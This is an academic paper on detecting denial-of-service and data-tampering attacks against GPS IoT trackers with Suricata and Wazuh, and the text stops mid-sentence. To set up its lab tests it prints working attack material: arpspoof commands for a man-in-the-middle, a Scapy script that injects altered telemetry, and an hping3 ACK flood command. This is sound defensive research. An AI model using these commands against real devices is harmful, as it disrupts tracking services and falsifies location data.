
Volume 64, Number 2, 2024                                                    ACTA TECHNICA NAPOCENSIS 

                                                                                                    Electronics and Telecommunications 

________________________________________________________________________________ 

 

Manuscript received October 18, 2024; revised November 28, 2024 

1 

 

INTEGRATION OF THE SURICATA INTRUSION DETECTION SYSTEM 

AND OF THE WAZUH SECURITY INFORMATION AND EVENT 

MANAGEMENT FOR REAL-TIME DENIAL-OF-SERVICE AND DATA 

TAMPERING DETECTION AND ALERTING 

 
Gheorghe-Romeo ANDREICA1,2, Iustin-Alexandru IVANCIU1,  

Daniel ZINCA1, Virgil DOBROTA1 
1Communications Department, Technical University of Cluj-Napoca, Romania  

2AROBS Transilvania Software Cluj-Napoca, Romania 
Romeo.Andreica@com.utcluj.ro; Iustin.Ivanciu@com.utcluj.ro; Daniel.Zinca@com.utcluj.ro  

Corresponding author: Virgil Dobrota (e-mail: Virgil.Dobrota@com.utcluj.ro) 
 
Abstract: This paper addresses one of the cybersecurity challenges posed by the rapid growth of IoT and intelligent transport 
systems. It aims to develop a security monitoring and alerting system for GPS devices in these systems, integrating the Suricata 
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solution is focused on detecting, alerting and real-time monitoring for Denial-of-Service (DoS) and Data Tampering attacks, 
ensuring robust protection against emerging cyber threats in IoT GPS tracking systems. 
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I. INTRODUCTION 
In the era of continuously evolving technology, the Internet 
of Things (IoT) and intelligent transportation systems have 
become essential parts of infrastructure and daily life [1]. 
However, a consequence of this spectacular growth in 
involving this technology is the increase of cybersecurity 
risks. This paper aims to develop a security monitoring 
system for IoT, specifically focusing on GPS devices used 
in intelligent transportation systems and utilizing Wazuh 
Security Information and Event Management (SIEM) 
solutions for security data collection, reporting, analysis, 
alerting and monitoring, as well as integration with 
Suricata Intrusion Detection System (IDS) mechanisms 
[2], [3]. 
 The purpose of this work involves implementing a 
system that enables the constant collection of security-
related data for intelligent transportation systems and IoT 
devices, including telemetry data and events, as well as 
data from IDS detection and prevention systems [4], [5]. 
 In the conducted experiments, data sets were analyzed 
to detect and alert on unusual behaviors and to identify 
typical signs of cyber threats, such as "Man-In-The-Middle 
/ Data Tampering" and "DoS" attacks, using integrated IDS 
and SIEM rules with intelligent GPS telemetry IoT systems 
[6], [7], [8]. In the event of detecting unusual or malicious 
security activities or events, an efficient monitoring system 
must be capable of generating immediate and real-time 
alerts. The proposed solution allows for the configuration 
of customized alerts and can automatically notify 
administrators or security personnel to act as quickly as 
possible, thus integrating IDS and SIEM mechanisms with 
IoT infrastructures.  
 The rest of the paper is organized as follows: Section II 
describes the implementation solution, followed by the 
experimental results. The last section presents the 
conclusions and future work. 

II. IMPLEMENTATION SOLUTION 
The proposed solution was adapted and integrated to work 
with IoT infrastructures for GPS data security in intelligent 
transportation systems, ensuring real-time security 
monitoring and alerts. Wazuh SIEM is a centralized 
platform to aggregate and analyze telemetry in real time for 
threat detection and compliance. It collects event data from 
various sources such as: endpoints, network devices, cloud 
workloads, and applications for broader security coverage 
[2]. On the other hand, Suricata is a high performance, 
open-source network analysis and threat detection software 
used by many private and public organizations, being 
embedded by major vendors to protect their assets, 
including IDS capabilities [3]. The general architecture for 
the proposed solution for detecting, alerting, and 
monitoring security events, in the IoT GPS infrastructure 
is presented in Figure 1. 
 

 
 

Figure 1. General architecture 
 
 The Wazuh solution consists of security agents, which 
are deployed on IDS server, and the Wazuh central 
components, which collect and analyze data gathered by 
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the agent. Figure 2 illustrates the architecture required to 
test this implementation during the experimental phases. 
 

 
Figure 2. Wazuh SIEM architecture for IoT 

 
 In this case the central components (server, indexer, and 
dashboard) run on one system, centralizing and alerting 
events from IoT GPS devices, following a traffic analysis 
performed by the IDS system, as in [2]. The proposed 
solution aims to detect, monitor, and alert against DoS and 
data tampering attacks on IoT GPS tracking devices used 
in intelligent transportation systems, including SIEM 
capabilities. 
 The Denial-of-Service (DoS) attack in the context of 
GPS IoT tracking devices involves overwhelming the 
device or its associated network with excessive traffic or 
requests, rendering it unable to function properly. This can 
disrupt the communication between the GPS device and its 
servers, leading to loss of location tracking, delayed data 
transmission, and potential loss of critical real-time 
information, thereby compromising the reliability and 
effectiveness of the IoT tracking system [7], [9]. 
 A Data Tampering attack in the context of GPS IoT 
tracking devices involves unauthorized manipulation and 
alteration of the data being sent or received by the device, 
often occurring during the Man-in-the-Middle (MITM) 
attacks or within compromised communication networks, 
devices, and services [10]. This can result in incorrect 
location information, manipulated tracking data, and false 
reporting of device status. Such attacks compromise the 
integrity and accuracy of the data, potentially leading to 
misguided decisions based on falsified information, thus 
affecting the trust in the GPS tracking system and the 
critical services that depend on such communications [8], 
[11], [12]. 
 For the two attack scenarios, experiments were 
conducted on the implementation of IDS-type detection 
and SIEM-type monitoring and alerting mechanisms 
within a GPS IoT infrastructure for intelligent 
transportation systems. These experiments demonstrate the 
importance of integrating real-time detection, alerting, and 
monitoring mechanisms into a critical IoT infrastructure 
that requires continuous monitoring of security events, 
including potential cyber-attacks [13], [14].  
 In the first scenario, a Data Tampering attack was tested 
using MITM scenarios for the telemetry data traffic sent by 
the GPS monitoring IoT device to the data receiving server. 
  

In the second scenario, an ACK DoS attack initiated from 
the telemetry data receiving server towards the GPS 
monitoring IoT device was tested. See Figure 3 for the 
diagram of the attacks tested in the experiments, along with 
their detection, alerting, and real-time monitoring. 
 

 
Figure 3. ACK DoS and Data Tampering attacks 

 
 Codec 8 was the main proprietary protocol used by the 
Teltonika FMB122 (as well as herein) for sending data to 
the server. It uses encoding and decoding algorithms (i.e., 
Base64 or hexadecimal conversion) instead of encryption 
ones for data in transit. For capturing and manipulating 
data within the MITM attack, the Scapy utility has been 
used as a REPL (Read–Eval–Print Loop) or as a library. 
This is a powerful interactive packet manipulation library 
written in Python. It can forge or decode packets of a wide 
number of protocols, send them on the wire, capture them, 
match requests and replies, and much more. It provided all 
the tools and documentation to quickly add custom 
network layers [15]. 
 

III. EXPERIMENTAL RESULTS  

A. First Scenario: Data Tampering  
This scenario involved altering and modifying telemetry 
data packets sent by the GPS monitoring IoT device with 
the IP address 192.168.0.73 to the data reception server at 
192.168.0.95.  To alter the data packets, a MITM attack 
was simulated on the IoT infrastructure, using the 
attacker’s server at 192.168.0.100. This intercepted data 
between the IoT device and the receiving server by 
exploiting technical vulnerability [13]. Herein, the attacker 
used ARP Spoofing to send modified data packets and to 
establish authorized communication between the IoT 
device and the telemetry receiving server, as in Figure 4. 
 
root@mitm:~# arpspoof -i ens18 -t 192.168.0.73 -r 

192.168.0.95 

bc:24:11:86:b9:f6 bc:24:11:48:8d:c5 0806 42: arp 

reply 192.168.0.95 is-at bc:24:11:86:b9:f6 

bc:24:11:86:b9:f6 bc:24:11:fa:2d:75 0806 42: arp 

reply 192.168.0.73 is-at bc:24:11:86:b9:f6 

root@mitm:~# arpspoof -i ens18 -t 192.168.0.95 -r 

192.168.0.73 

bc:24:11:86:b9:f6 bc:24:11:fa:2d:75 0806 42: arp 

reply 192.168.0.73 is-at bc:24:11:86:b9:f6 

bc:24:11:86:b9:f6 bc:24:11:48:8d:c5 0806 42: arp 

reply 192.168.0.95 is-at bc:24:11:86:b9:f6 

Figure 4. ARP Spoofing within the MITM attack 
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 During the experiment, a Python script was created 
using Scapy, to sniff network packets, and to modify them 
by prepending a specified hex string, and then send the 
modified packets to a server, as shown in Figure 5. 
 
from scapy.all import * 

# Define the hex string to prepend 

prepend_hex_string = "123456" 

prepend_bytes = bytes.fromhex(prepend_hex_string) 

# Define the client and server IP addresses 

client_ip = "192.168.0.73" 

server_ip = "192.168.0.95" 

server_port = 61200 

# Function to handle and modify packets 

def modify_packet(packet): 

if packet.haslayer(IP) and packet[IP].src == 

client_ip: 

if packet.haslayer(UDP): 

     udp_payload = bytes(packet[UDP].payload)        

# Check if the prepend_bytes is already present 

if not udp_payload.startswith(prepend_bytes): 

     print(f"Packet captured at {packet.time}") 

     print(f"Source: {packet[IP].src}") 

     print(f"Destination: {packet[IP].dst}") 

     print(f"Original UDP Payload: 

{udp_payload.hex()}") 

# Prepend the hex string to the payload 

     new_payload = prepend_bytes + udp_payload 

     print(f"Modified UDP Payload: 

{new_payload.hex()}")             

# Create a new packet with the modified payload 

new_pkt = IP(src=packet[IP].src, 

dst=packet[IP].dst)/ 

UDP(sport=packet[UDP].sport, 

dport=packet[UDP].dport) / 

Raw(load=new_payload) 

     print(f"Sending modified packet to 

{server_ip}:{server_port}") 

     send(new_pkt, verbose=False) 

# Capture and modify packets in real-time try: 

     print(f"Sniffing traffic from {client_ip} 

and sending modified packets to {server_ip} on 

port {server_port}...") 

     sniff(filter=f"ip and src host {client_ip}", 

prn=modify_packet, store=0) 

except KeyboardInterrupt: 

     print("\nScript stopped by user.")  

Figure 5. Sniffing data and payload injection mechanism 
 
 It imported necessary functions from Scapy, and it 
defined a hex string prepend_hex_string to prepend to 
UDP payloads, and to set up client and server IP addresses 
and the server port. The modify_packet function processed 
each packet, checking for an Internet Layer with a source 
IP matching the client IP and a UDP layer. If the prepend 
bytes were not already in the UDP payload, it captured and 
printed the packet details. It prepended the hex string to the 
payload, constructed a new packet with the modified 
payload, and it sent it to the specified server. The sniff 
function captured packets from the client IP in real-time, 
applying the modify_packet function to each, and stopping 
on user interruption. The use of the 123456-payload string 
might have significant security implications. For instance, 
this is used in malware, buffer overflow attacks, or data 
tampering, potentially affecting the integrity and security 
of the data, leading to exploits like arbitrary code 
execution, system crashes, unauthorized access, or 
compromised data integrity. The process of intercepting 
and altering data packets (Data Tampering) is shown in 
Figure 6. 

root@mitm:/opt# python3 mitm.py 

Sniffing traffic from 192.168.0.73 and sending 

modified packets to 192.168.0.95 on port 61200... 

Packet captured at 1721079763.7965543 

Source: 192.168.0.73 

Destination: 192.168.0.95 

Original UDP Payload: 

003dcafe0105000f33353230393330383634303336353508

010000016b4f815b30010000000000000000000000000000

000103021503010101425dbc000001 

Modified UDP Payload: 

123456003dcafe0105000f33353230393330383634303336

353508010000016b4f815b30010000000000000000000000

000000000103021503010101425dbc000001 

Sending modified packet to 192.168.0.95:61200           

Figure 6. Sniffing data and payload injection results 
 
 In this experiment, the navigation data was not 
modified. Instead of that, the entire packet was altered, 
demonstrating data tampering. However, in a similar 
scenario, the navigation data could be modified by our 
payload (e.g., GPS coordinates) using a similar method. 
Regarding the proper functioning of the device, it was not 
affected in any way during this experiment, as the data was 
intercepted and modified between the IoT device and the 
receiving server inside of local network. To analyze and 
demonstrate the alteration and modification of data packets 
during the MITM/ Data Tampering attack, the tools 
tcpdump, a powerful command-line packet analyzer, and 
libpcap, a portable C/C++ library for network traffic 
capture, were used. The obtained and analyzed results are 
shown in Figure 7. 
 
root@rec-srv01:~# tcpdump -i ens18 src host 

192.168.0.73 and dst host 192.168.0.95 -X 

tcpdump: verbose output suppressed, use -v[v]... 

for full protocol decode 

listening on ens18, link-type EN10MB (Ethernet), 

snapshot length 262144 bytes 

23:27:24.178102 IP 192.168.0.73.35067 > rec-

srv01.61200: UDP, length 66 

0x0000:  4500 005e 0001 0000 4011 f895 c0a8 0049  

E..^....@......I 

0x0010:  c0a8 005f 88fb ef10 004a 251d 1234 5600  

..._.....J%..4V. 

0x0020:  3dca fe01 0500 0f33 3532 3039 3330 3836  

=......352093086 

0x0030:  3430 3336 3535 0801 0000 016b 4f81 5b30  

403655.....kO.[0 

0x0040:  0100 0000 0000 0000 0000 0000 0000 0000 

[…]0x0050:  0103 0215 0301 0101 425d bc00 0001   

Figure 7. Proof of data tampering 
 
 Based on the results obtained and shown for previously 
described attacks, the detection, alerting, and monitoring 
mechanisms were integrated for the IoT GPS 
infrastructure. The first one relied on IDS solutions, using 
Suricata. To avoid latency during the communication, the 
system was positioned in parallel with the data receiving 
server, using port mirroring configurations for data 
collection and analysis. This subsequently sent the data to 
the SIEM system, responsible for monitoring security 
events, as in Figure 1. See in Figure 8 the specific IDS Data 
Tampering rules applied for Suricata.  
 
# Data Tampering IDS rules 

alert udp 192.168.0.73 any -> any any 

(msg:"Possible data tampering affecting packet 

size"; dsize:!63; sid:1000015; rev:1;) 
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alert udp 192.168.0.73 any -> any any 

(msg:"Possible data tampering affecting packet 

content"; content:"003D"; offset:0; depth:2; 

content:"CAFE"; offset:2; depth:2; content:"01"; 

offset:4; depth:1; content:"05"; offset:5; 

depth:1; content:"000F"; offset:6; depth:2; 

content:"08"; offset:22; depth:1; content:"01"; 

offset:23; depth:1; content:"01"; offset:45; 

depth:1; dsize:63; sid:1000019; rev:1;) 

Figure 8. Data Tampering IDS rules 
  
 This was designed to detect possible data tampering 
activities on the network. It triggered an alert whenever 
there was an UDP packet originating from the IP address 
192.168.0.73, regardless of the source port, and destined to 
any IP address and port.  
 The first condition for triggering this alert was that the 
packet size (dsize) did not have to be 63 bytes, which 
represented the size of expected telemetry real packet. 
When this condition was met, the system generated an alert 
with the message “Possible data tampering” and assigned 
a unique identifier (sid) of 1000015 to this rule (which is at 
revision 1). This rule helped in monitoring unusual data 
packet sizes that might indicate tampering attempts.  
 The second condition is designed to detect potential 
tampering of AVL Data Packets by matching patterns in 
the packet’s structure and format, rather than relying only 
on the size of the packet compared to the first described 
condition. The rule inspects the packet’s content to validate 
the expected sequence of fields, ensuring that the data 
adheres to the typical structure of a valid AVL Data Packet. 
Any deviation from the expected pattern, while 
maintaining the same packet size, triggers the rule. When 
this condition was met, the system generated an alert with 
the message “Possible data tampering”. 
 Details related to Data Tampering alerts at the IDS level 
were recorded in Suricata logs, which were sent to the 
SIEM system, as in Figure 9. 
 
root@ids:~# tail -f /var/log/suricata/eve.json | 

grep "Possible data tampering" 

{"timestamp":"2024-06-

08T20:36:26.835233+0300","flow_id":7725494403249

57,"in_iface":"ens18","event_type":"alert","src_

ip":"192.168.0.73","src_port":48477,"dest_ip":"1

92.168.0.95","dest_port":61200,"proto":"UDP","pk

t_src":"wire/pcap","alert":{"action":"allowed","

gid":1,"signature_id":1000015,"rev":1,"signature

":"Possible data 

tampering","category":"","severity":3},"app_prot

o":"failed","direction":"to_server","flow":{"pkt

s_toserver":1,"pkts_toclient":0,"bytes_toserver"

:106,"bytes_toclient":0,"start":"2024-06-

08T20:36:26.835233+0300","src_ip":"192.168.0.73"

,"dest_ip":"192.168.0.95","src_port":48477,"dest

_port":61200},"payload":"EQA9yv4BBQAPMzUyMDkzMDg

2NDAzNjU1CAEAAAFrT4FbMAEAAAAAAAAAAAAAAAAAAAABAwI

VAwEBAUJdvAAAAQ==","payload_printable":"..=.....

.352093086403655.....kO.[0......................

..B]....","stream":0,"packet":"vCQR+i11vCQRSI3FC

ABFAABc/q1AAEARuerAqABJwKgAX71d7xAASIJSEQA9yv4BB

QAPMzUyMDkzMDg2NDAzNjU1CAEAAAFrT4FbMAEAAAAAAAAAA

AAAAAAAAAABAwIVAwEBAUJdvAAAAQ==","packet_info":{

"linktype":1}} 

Figure 9. Detect Data Tampering IDS alerts 
 
 Data Tampering alerts were collected by the SIEM 
agent Wazuh installed on IDS server and sent to the 
security event monitoring and alerting system (see 

Figure 2). Thus, it enabled real-time security monitoring, 
extracted from Wazuh, as illustrated in Figure 10.  
 

 
Figure 10. Data Tampering events by SIEM 

 
B. Second Scenario: Acknowledge Denial-of-Service  
This scenario involved a network attack that targeted the 
availability of the GPS IoT device, by overwhelming it 
with many ACK (Acknowledgment) packets. The attack 
was initiated from the telemetry data receiving server at 
192.168.0.95, which was considered compromised due to 
the exploitation of a technical vulnerability that allowed 
access to the data reception services [13]. Many ACK 
packets were sent to the GPS IoT device at 192.168.0.73, 
disrupting its optimal functioning. The transmission of 
telemetry data packets from the GPS IoT device to the 
receiving server was virtually simulated using Python. It 
included the receiving of ACK packets by the IoT device, 
as shown in Figure 11. 
 
import socket 

import time 

# Define the client details 

HOST = '192.168.0.95' 

PORT = 61200  # Replace with the actual port number 

# Hexadecimal string to send 

hex_string = 

"003dcafe0105000f3335323039333038363430333635350

8010000016b4f815b3001000000000000000000000000000

0000103021503010101425dbc000001" 

# ACK string to expect from the client 

expected_ack_hex_string = "0005cafe010501" 

def decode_ack_hex_string(hex_string): 

# Assuming the structure of the ACK hex string: 

# UDP Channel Header Length (00 05), Packet ID (CA 

FE), Not usable byte (01) 

# AVL Packet Acknowledgment, AVL packet ID (05), 

Number of Accepted Data (01) 

    udp_channel_length = int(hex_string[0:4], 16) 

    packet_id = hex_string[4:8] 

    not_usable_byte = hex_string[8:10] 

    avl_packet_id = hex_string[10:12] 

    num_accepted_data = hex_string[12:14] 

    return { 
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        "udp_channel_length": 

udp_channel_length, 

        "packet_id": packet_id, 

        "not_usable_byte": not_usable_byte, 

        "avl_packet_id": avl_packet_id, 

        "num_accepted_data": num_accepted_data, 

    } 

def send_data(): 

# Convert the hex string to bytes 

    byte_data = bytes.fromhex(hex_string) 

        while True: 

        try: 

            with socket.socket(socket.AF_INET, 

socket.SOCK_STREAM) as s: 

                s.connect((HOST, PORT)) 

                s.sendall(byte_data) 

                print("Data sent successfully!") 

# Receive ACK from the server 

                ack_data = 

s.recv(len(expected_ack_hex_string) // 2) 

                received_ack_hex_string = 

ack_data.hex() 

 

                if received_ack_hex_string == 

expected_ack_hex_string: 

                    decoded_ack_data = 

decode_ack_hex_string(received_ack_hex_string) 

                    print("Received ACK:", 

decoded_ack_data) 

                else: 

                    print("Received unexpected 

ACK data:", received_ack_hex_string) 

        except (socket.error, socket.timeout) as 

e: 

            print(f"Connection failed: {e}. 

Retrying in 5 seconds...") 

# Wait for 5 seconds before sending the next 

packet 

        time.sleep(5) 

if __name__ == "__main__": 

    send_data() 

Figure 11. IoT GPS device sending and receiving data 
 
 The script implemented a connection to a specified 
server at IP 192.168.0.95 and port 61200, by sending a 
predefined hex string and by handling the acknowledgment 
(ACK) response. It converted the hex string into bytes and 
sent it over a UDP connection, then waited for a 
confirmation response. If the received ACK matched the 
expected hex string, it decoded it into its components (UDP 
channel length, packet ID, not usable byte, AVL packet ID, 
and number of accepted data) using the 
decode_ack_hex_string() function. Also, it printed the 
decoded data. If the confirmation does not match, it printed 
the unexpected ACK data. The script retried the connection 
every 5 seconds in case of socket errors or timeouts. The 
send_data() function handled the connection, by sending 
and receiving processes, while the script ensured that the 
function was executed when ran by checking if __name__ 
== "__main__": send_data(). 
 The data received by the server was processed by a 
virtually simulated reception service, which then 
forwarded it to various consumers (e.g., databases, 
applications, dashboards, etc.). In our experiment, the 
reception service sent an ACK packet, which was later used 
to demonstrate the ACK DoS attack from the compromised 
server to the GPS monitoring IoT device, as shown in 
Figure 12. 
 
 

import socket 

import struct 

# Define the server details 

HOST = '0.0.0.0'  # Listen on all available 

interfaces 

PORT = 61200# Replace with the desired port number 

# Hexadecimal string to expect from the client 

expected_hex_string = 

"003dcafe0105000f3335323039333038363430333635350

8010000016b4f815b3001000000000000000000000000000

0000103021503010101425dbc000001" 

# ACK string to send if successful 

ack_hex_string = "0005cafe010501" 

def decode_hex_string(hex_string): 

# Assuming the structure of the hex string: 

003DCAFE0105000F33353230393330383634303336353508

010000016B4F815B30010000000000000000000000000000

000103021503010101425DBC000001 

# Extract relevant fields 

    data_type = int(hex_string[10:12], 16) 

    device_id = int(hex_string[12:22], 16) 

    latitude = int(hex_string[22:30], 16) / 1e6 

    longitude = int(hex_string[30:38], 16) / 1e6 

    return { 

        "data_type": data_type, 

        "device_id": device_id, 

        "latitude": latitude, 

        "longitude": longitude, 

    } 

def handle_client(conn): 

    data = conn.recv(len(expected_hex_string)) 

    received_hex_string = data.hex() 

    conn.sendall(bytes.fromhex(ack_hex_string)) 

    print("ACK sent successfully!") 

    decoded_data = 

decode_hex_string(received_hex_string) 

    print("Received data:", decoded_data)   

def main(): 

    with socket.socket(socket.AF_INET, 

socket.SOCK_STREAM) as s: 

        s.bind((HOST, PORT)) 

        s.listen() 

        print(f"Listening on {HOST}:{PORT}...") 

        while True: 

            conn, addr = s.accept() 

            with conn: 

                print(f"Connected by {addr}") 

                handle_client(conn) 

if __name__ == "__main__": 

    main() 

Figure 12. Reception service receiving and sending data 
 
 The script initializes a UDP server that listens on all 
available network interfaces (IP 0.0.0.0) at port 61200. It 
expects to receive a specific hexadecimal string 
(expected_hex_string) from the client and sends back an 
acknowledgment (ACK) string (ack_hex_string) upon 
successful reception. The decode_hex_string() function 
extracts and decodes relevant fields from the received hex 
string, including the data type, device ID, latitude, and 
longitude. The handle_client() function manages the client 
connection by receiving the data, sending the ACK, and 
printing the decoded information. The main() function sets 
up the server socket, binds it to the specified host and port, 
listens for incoming connections, and processes each 
connection with the handle_client() function. 
 Next, the ACK DoS attack was initiated from the 
receiving server to the IoT device, which was waiting the 
ACK packet, as in Figure 13. 
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root@rec-srv01:~# sudo hping3 -2 -A -c 1000 -d 7 

--file payload.bin --flood 192.168.0.73 

HPING 192.168.0.73 (ens18 192.168.0.73): A set, 

40 headers + 7 data bytes 

Warning: can't disable memory paging! 

hping in flood mode, no replies will be shown 

Figure 13. Initiation of the ACK DoS attack 
  
 To initiate the attack, the hping3 tool was used with the 
(-A) flag, which was specifically designed for the ACK 
DoS attack. Additionally, the payload.bin file, containing 
the ACK data packet expected by the IoT device shown in 
Figure 11 and Figure 12, was used as a parameter for the 
payload, as in Figure 14. 
 
root@rec-srv01:~# echo "0005cafe010501" | xxd -r 

-p > payload.bin 

Figure 14. ACK data packet payload 
 
 The parameters used for creation of payload.bin file 
containing IoT device ACK expected data packet were: -r 
(reverse mode) which converts hex dump back to binary; 
and -p (plain mode) which interprets the input as a plain 
(continuous) hex dump without addresses or whitespace, 
using xxd tool. The attack consisted of flooding the GPS 
IoT device with many expected ACK packets sent from the 
compromised receiving server, analyzed using the tcpdump 
tool for evidence, as in Figure 15. 
 
root@rec-srv01:~# sudo tcpdump -i ens18 src host 

192.168.0.95 and dst host 192.168.0.73  -X -n 

 0x0010:  c0a8 0049 3409 0000 3533 2e59 6fef 

4ef4  ...I4...53.Yo.N. 

 0x0020:  5010 0200 0853 0000 0005 cafe 0105 

01    P....S......... 

20:41:30.870215 IP 192.168.0.95.13322 > 

192.168.0.73.0: Flags [.], seq 

300008147:300008154, ack 860171618, win 512, 

length 7 

 0x0000:  4500 002f 4956 0000 4006 af7a c0a8 

005f  E../IV..@..z..._ 

 0x0010:  c0a8 0049 340a 0000 11e1 c2d3 3345 

2d62  ...I4.......3E-b 

 0x0020:  5010 0200 f565 0000 0005 cafe 0105 

01    P....e......... 

20:41:30.870226 IP 192.168.0.95.13323 > 

192.168.0.73.0: Flags [.], seq 

359982078:359982085, ack 1581678944, win 512, 

length 7 

 0x0000:  4500 002f df30 0000 4006 19a0 c0a8 

005f  E../.0..@......_ 

 0x0010:  c0a8 0049 340b 0000 1574 e3fe 5e46 

8160  ...I4....t..^F.` 

 0x0020:  5010 0200 51a7 0000 0005 cafe 0105 

01    P...Q.......... 

20:41:30.870233 IP 192.168.0.95.13324 > 

192.168.0.73.0: Flags [.], seq 

1291176788:1291176795, ack 219672798, win 512, 

length 7 

 0x0000:  4500 002f f5e8 0000 4006 02e8 c0a8 

005f  E../....@......_ 

 0x0010:  c0a8 0049 340c 0000 4cf5 cb54 0d17 

f0de  ...I4...L..T.... 

 0x0020:  5010 0200 1480 0000 0005 cafe 0105 

01    P.............. 

20:41:30.870273 IP 192.168.0.95.13325 > 

192.168.0.73.0: Flags [.], seq 

562523532:562523539, ack 1414024332, win 512, 

length 7            

Figure 15. Proof of ACK DoS attack 

 Based on the results obtained and shown for ACK DoS 
attack, the detection, alerting, and monitoring mechanisms 
were integrated for the IoT GPS infrastructure. The first 
detection and alerting mechanism relied on IDS solutions, 
using Suricata. Specific rules for DoS attack were created, 
as shown in Figure 16. 
 
# ACK DoS and DDoS IDS rules 

alert udp any any -> any any (flags: A; 

msg:"Possible ACK DoS"; threshold: type both, 

track by_src, count 1000, seconds 3; 

classtype:attempted-dos; sid:10001; rev:3;) 

alert udp any any -> any any (flags: A; 

msg:"Possible ACK DDoS"; threshold: type both, 

track by_src, count 100000, seconds 10; 

classtype:attempted-dos; sid:100001; rev:3;) 

Figure 16. Detect ACK DoS Attack 
 
 These Suricata IDS rules were designed to detect 
potential ACK-based Denial of Service (DoS) and 
Distributed Denial of Service (DDoS) attacks. The first 
rule triggered an alert for any UDP packet with the ACK 
flag set, originating from any source IP and port and 
destined to any destination IP and port, if 1000 such 
packets were detected from the same source within 3 
seconds. This condition generated an alert with the 
message "Possible ACK DoS," classifying the event as an 
attempted DoS attack (sid:10001, rev:3). The second rule, 
similarly, monitored for UDP packets with the ACK flag 
set and triggered an alert if 100,000 such packets were 
observed from the same source within 10 seconds, 
indicating a potential ACK DDoS attack ("Possible ACK 
DDoS", sid:100001, rev:3). Details related were recorded 
in Suricata logs, which were sent to the SIEM system for 
alerting and monitoring security events, as in Figure 17. 
 
root@ids:~# tail -f /var/log/suricata/eve.json | 

grep " Possible ACK DoS" 

{"timestamp":"2024-06-

07T23:36:21.885451+0300","flow_id":1551184528185

946,"in_iface":"ens18","event_type":"alert","src

_ip":"192.168.0.95","src_port":2243,"dest_ip":"1

92.168.0.73","dest_port":0,"proto":"UDP","pkt_sr

c":"wire/pcap","alert":{"action":"allowed","gid"

:1,"signature_id":10001,"rev":3,"signature":"Pos

sible ACK DoS","category":"Attempted Denial of 

Service","severity":2},"direction":"to_server","

flow":{"pkts_toserver":1,"pkts_toclient":0,"byte

s_toserver":61,"bytes_toclient":0,"start":"2024-

06-

07T23:36:21.885451+0300","src_ip":"192.168.0.95"

,"dest_ip":"192.168.0.73","src_port":2243,"dest_

port":0},"payload":"AAXK/gEFAQ==","payload_print

able":".......","stream":0,"packet":"vCQRSI3FvCQ

R+i11CABFAAAvgu0AAEAGdePAqABfwKgASQjDAAAR47R+MxO

EiVAQAgDYCgAAAAXK/gEFAQ==","packet_info":{"linkt

ype":1}} 

Figure 17. Detect ACK DoS IDS alerts 
 
 ACK DoS alerts were collected by the SIEM agent 
Wazuh installed on IDS server and sent to the security 
event monitoring and alerting system. Thus, it enabled 
real-time security monitoring, as illustrated in Figure 18. 
 Integrating these Suricata IDS rules with a SIEM 
system was crucial for comprehensive security monitoring 
and event management. The detection of potential ACK-
based DoS and DDoS attacks through specific IDS rules 
allowed for real-time identification of unusual network 
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behaviors, that could indicate ongoing attacks. By parsing 
the IDS logs, the SIEM could correlate these alerts with 
other security events, providing a holistic view of the 
network's security posture and real-time monitoring.  The 
proposed solution can be extended by integrating SIEM 
with other mechanisms to allow better visualization of 
alerts and enhance real-time monitoring efficiency, such as 
email, SMS, and Telegram, using dedicated algorithms and 
APIs, as in Figure 19. 
 

 
 

Figure 18. ACK DoS events by SIEM 
  
<integration> 

    <name>custom-telegram</name> 

    <hook_url>https://api.telegram.org/bot<BOT-

TOKEN>/sendMessage</hook_url> 

    <alert_format>json</alert_format> 

</integration> 

… 

CHAT_ID="-1002233136371" 

# Read configuration parameters 

alert_file = open(sys.argv[1]) 

hook_url = sys.argv[3] 

# Read the alert file 

alert_json = json.loads(alert_file.read()) 

alert_file.close() 

# Extract data fields 

alert_level = alert_json['rule']['level'] if 

'level' in alert_json['rule'] else "N/A" 

description = alert_json['rule']['description'] 

if 'description' in alert_json['rule'] else "N/A" 

agent = alert_json['agent']['name'] if 'name' in 

alert_json['agent'] else "N/A" 

# Generate request 

msg_data = {} 

msg_data['chat_id'] = CHAT_ID 

msg_data['text'] = {} 

msg_data['text']['description'] =  description 

msg_data['text']['alert_level'] = 

str(alert_level) 

msg_data['text']['agent'] =  agent 

headers = {'content-type': 'application/json', 

'Accept-Charset': 'UTF-8'} 

# Send the request 

requests.post(hook_url, headers=headers, 

data=json.dumps(msg_data)) […] 

Figure 19. SIEM third-party Telegram integration 
  
 The results of this integration, including ACK Dos and 
Data Tampering alerts, are shown in Figure 20. 
 

 
Figure 20. SIEM third-party Telegram alerts 

 
 The resources used in the experiments are listed in 
Table 1. Regarding Teltonika, the technical specifications 
were the following: model FMB122, firmware 
03.29.00.Rev.21, configuration 1.7.72_B.3.29_R.11, 128 
MB internal flash memory, CPU Teltonika TM2500 
chipset, Receiver 33 channels, tracking sensitivity -165 
dBm, position accuracy < 2.5 CEP. 
 

Resource Version 
Ubuntu Linux 22.04 LTS 
Python 3.12.4 
Proxmox VE 8.0 
Tcpdump 4.99.1 
Scapy 2.5.0 
Wazuh SIEM 4.7 
Suricata IDS 6.0.20 
Telegram 10.13 

Table 1. Used resources 
 
 The results of the experiments demonstrated significant 
improvements compared to similar works [7], particularly 
in detecting and mitigating DoS/DDoS attacks in GPS IoT 
infrastructures. Compared to the similar solutions, which 
focused on mitigating DDoS attacks with a detection 
accuracy of 93%, our approach achieved 96% accuracy, 
alongside a reduced false-positive rate of 4% compared to 
7%. The detection delays are less than 5ms and they used 
less than 1% extra bandwidth. Also, the results of the 
experiments showed significant improvements compared 
to similar works [11] in detecting, monitoring, and alerting 
about MITM/Data Tampering in GPS IoT infrastructures 
through the integration of specific IDS rules with packet 
inspection capabilities as is shown in Figure 8, rule number 
2, increasing efficiency with 50%. 
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IV. CONCLUSIONS AND FUTURE WORK 
The work presented in this paper demonstrated the 
integration of the Intrusion Detection System and the 
Security Information and Event Management capabilities. 
This was needed to enhance the real-time monitoring and 
alerting against Denial of Service and Data Tampering 
attacks within IoT-based intelligent transportation systems. 
The proposed solution, leveraging Wazuh and Suricata, 
effectively identified and mitigated cybersecurity threats, 
ensuring the integrity and availability of GPS data critical 
to transportation operations. Experimental results 
confirmed the system's efficacy in detecting and alerting 
administrators to potential security breaches, providing a 
robust defense mechanism for IoT infrastructures. 
However, the solution could be also expanded to non-GPS 
based systems.    
 Future work will be focused on expanding the system's 
capabilities to include more diverse types of cyber threats, 
integrating machine learning algorithms for predictive 
threat detection, and enhancing the system's scalability to 
accommodate larger, more complex IoT environments. 
Additionally, further research will explore the integration 
of advanced notification systems and more sophisticated 
response protocols to improve the overall responsiveness 
and reliability of security measures in intelligent 
